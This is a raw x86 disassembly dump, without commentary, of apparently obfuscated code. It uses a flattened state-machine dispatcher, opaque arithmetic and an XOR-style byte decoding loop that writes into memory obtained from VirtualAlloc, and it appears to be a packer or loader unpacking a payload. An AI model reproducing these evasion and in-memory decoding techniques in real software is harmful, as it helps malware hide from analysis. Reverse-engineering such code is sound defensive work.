mov dword [ebp - 0x54c], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x544]
mov dword [ebp - 0x550], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x544]
mov dword [ebp - 0x554], eax
mov eax, ecx
call fcn.0041af70
mov eax, esp
mov ecx, dword [ebp - 0x54c]
mov edx, dword [ebp - 0x498]
mov dword [ecx], edx
mov esi, dword [ebp - 0x550]
mov edi, dword [ebp - 0x49c]
mov dword [esi], edi
mov ebx, dword [ebp - 0x554]
mov ecx, dword [ebp - 0x4a0]
mov dword [ebx], ecx
mov dword [eax], 0
mov dword [ebp - 0x2c], 0xe6d1f5b2
jmp 0x4298e1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], 0x4c88fa4d
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x560], edx
jmp 0x4298e1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
shl eax, 3
add ecx, eax
mov eax, dword [ebp - 0x28]
mov dword [eax], ecx
mov dword [ebp - 0x2c], 0x60841a66
jmp 0x4298e1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], 0x7900eb02
mov dword [ebp - 0x564], eax
jmp 0x429226
mov eax, 0xd2cab7a8
mov ecx, 0xc3de958b
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x4a4]
mov esp, esi
mov dword [ebp - 0xb4], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xec], 0x3c3debb4
jmp 0x429d27
mov eax, 0xc45f1c10
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0x27d2bf12
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xb4]
cmp ecx, dword [edx + 4]
setb bl
and bl, 1
mov byte [ebp - 0x85], bl
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0x96826fc8
mov ecx, 0x3f77d3bb
mov dl, byte [ebp - 0x85]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0x496ea5e8
mov ecx, 0xf38aa86f
mov edx, 0xffffffff
mov esi, dword [ebp - 0xc8]
mov edi, dword [ebp - 0xbc]
movzx esi, byte [edi + esi]
mov edi, dword [ebp - 0xcc]
mov ebx, edi
add ebx, 0xabb4bc9c
add ebx, 1
sub ebx, 0xabb4bc9c
mov dword [ebp - 0xcc], ebx
mov ebx, dword [ebp - 0xa0]
movzx edi, byte [ebx + edi + 1]
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0x3e617f4d
xor edx, 0x3e617f4d
and esi, edx
mov dword [ebp - 0x568], eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x3e617f4d
and edi, edx
or ebx, esi
or eax, edi
xor ebx, eax
mov al, bl
mov edx, dword [ebp - 0xc8]
mov esi, dword [ebp - 0xc0]
mov byte [esi + edx], al
mov edx, dword [ebp - 0xcc]
mov esi, dword [ebp - 0xa0]
movzx esi, byte [esi]
cmp edx, esi
mov edx, dword [ebp - 0x568]
cmove edx, ecx
mov dword [ebp - 0xec], edx
jmp 0x429d27
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xec], 0x496ea5e8
jmp 0x429d27
mov dword [ebp - 0xec], 0x5b2cba0a
jmp 0x429d27
mov eax, 0
mov ecx, dword [ebp - 0xd0]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xc8]
add eax, 0xb6b3b233
add eax, 1
sub eax, 0xb6b3b233
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xec], 0x3c3debb4
jmp 0x429d27
mov eax, 0
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xc4]
sub eax, ecx
sub edx, eax
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0xec], 0x7c1d630b
jmp 0x429d27
mov eax, 0xedfdfe5c
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov eax, 0x9c10da3
mov ecx, 0
mov edx, dword [ebp - 0xc8]
mov esi, dword [ebp - 0xbc]
mov bl, byte [esi + edx]
mov edx, dword [ebp - 0xc8]
mov esi, dword [ebp - 0xc0]
mov byte [esi + edx], bl
mov edx, dword [ebp - 0xc8]
mov esi, ecx
sub esi, edx
mov edx, ecx
sub edx, 1
add esi, edx
sub ecx, esi
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xec], eax
jmp 0x429d27
mov dword [ebp - 0xec], 0x7c1d630b
jmp 0x429d27
mov dword [ebp - 0xec], 0x397d60e2
jmp 0x429d27
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0xec], 0x81bcf94e
jmp 0x429d27
mov eax, dword [ebp - 0x90]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x4ffbec]
mov ecx, dword [ebp - 0xa4]
add eax, dword [ecx]
mov dword [ebp - 0xa0], eax
call fcn.00432860
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xa0]
add eax, 0x2b
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov ecx, dword [ebp - 0xa0]
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov dword [ebp - 0xb0], ecx
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx + 0x23]
shl ecx, 1
sub eax, 0x259cd5ce
add eax, ecx
add eax, 0x259cd5ce
mov ecx, dword [ebp - 0xa0]
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov dword [ebp - 0xb8], ecx
mov eax, dword [ebp - 0x94]
sub esp, 0x10
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], pe_nt_image_headers32
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xec], 0x9729cfa9
jmp 0x429d27
mov dword [ebp - 0x90], 0
mov dword [ebp - 0xec], 0x1ca2aab
jmp 0x429d27
mov dword [ebp - 0xec], 0x331a6f98
jmp 0x429d27
mov eax, 0
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xa4]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xe8]
mov esi, eax
sub esi, ecx
mov ecx, eax
sub ecx, edx
add esi, ecx
sub eax, esi
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xec], 0x7bb226f4
jmp 0x429d27
mov dword [ebp - 0xec], 0xc45f1c10
jmp 0x429d27
mov eax, 0
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ebp - 0xbc]
mov bl, byte [edx + ecx]
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ebp - 0xc0]
mov byte [edx + ecx], bl
mov ecx, dword [ebp - 0xc8]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xec], 0xedfdfe5c
jmp 0x426dfb